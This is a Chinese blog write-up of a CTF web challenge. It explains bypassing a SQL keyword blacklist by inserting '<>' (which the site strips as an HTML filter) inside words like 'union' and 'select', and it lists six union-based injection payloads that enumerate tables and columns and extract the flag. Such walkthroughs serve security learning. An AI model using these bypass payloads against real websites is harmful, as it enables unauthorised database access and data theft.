百度杯”CTF比赛 九月场 Web SQL

前言

这道题真的又一次让我学习了新姿势。我发现我每篇文章总会有这么一句话。希望自己加紧学习,早日摆脱萌新这个称号。

WP

这是一道SQL注入题目。我们经过简单(复杂而无聊)的尝试之后发现,几乎所有的都被过滤了。除了or,and可以用||和&&来绕过过滤,其他的几乎所有,都不行。
所以我屈服了,向WP寻求帮助,然后得到了新的姿势!
有时候防范XSS或者过滤HTML标签的时候,会直接过滤<>,这时候,本来用来过滤的<>,就可以被我们用来进行SQL注入过滤的绕过。
当我们输入id=1 && ord<>er by 3的时候,发现这时候就绕过了order的过滤,<>也没有了。即使,即里面还有内容,但是因为这里直接相当于对HTML标签进行了过滤,无论里面是什么都将被过滤掉。因此我们可以利用这个点来实现绕过。
接下来就是正常的SQL注入了,因为有了<>,一切过滤都将不存在。

?id=1 ord<>er by 3
?id=1 un<>ion se<>lect 1,2,3
?id=1 un<>ion se<>lect 1,database(),3
?id=0 un<>ion se<>lect 1,group_concat(TABLE_NAME),3 from information_schema.tables where TABLE_SCHEMA='sqli'
?id=0 un<>ion se<>lect 1,group_concat(COLUMN_NAME),3 from information_schema.columns where TABLE_NAME='info'
?id=0 un<>ion se<>lect 1,group_concat(flAg_T5ZNdrm),3 from info

最终得出flag.
get到了<>这个点,做这题还是很容易的。
其实发现<>这个点也可以通过提交各种特殊字符串并查看源代码来得到。有些高手可以使用一个爆破表,用 burp进行爆破来发现到底哪些没有被过滤来获得绕过过滤的点。对于这个方面,我知道的有FuzzDB,但是没搞太明白,哪天搞懂了再把这方面的知识补上。

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/108438198
今日推荐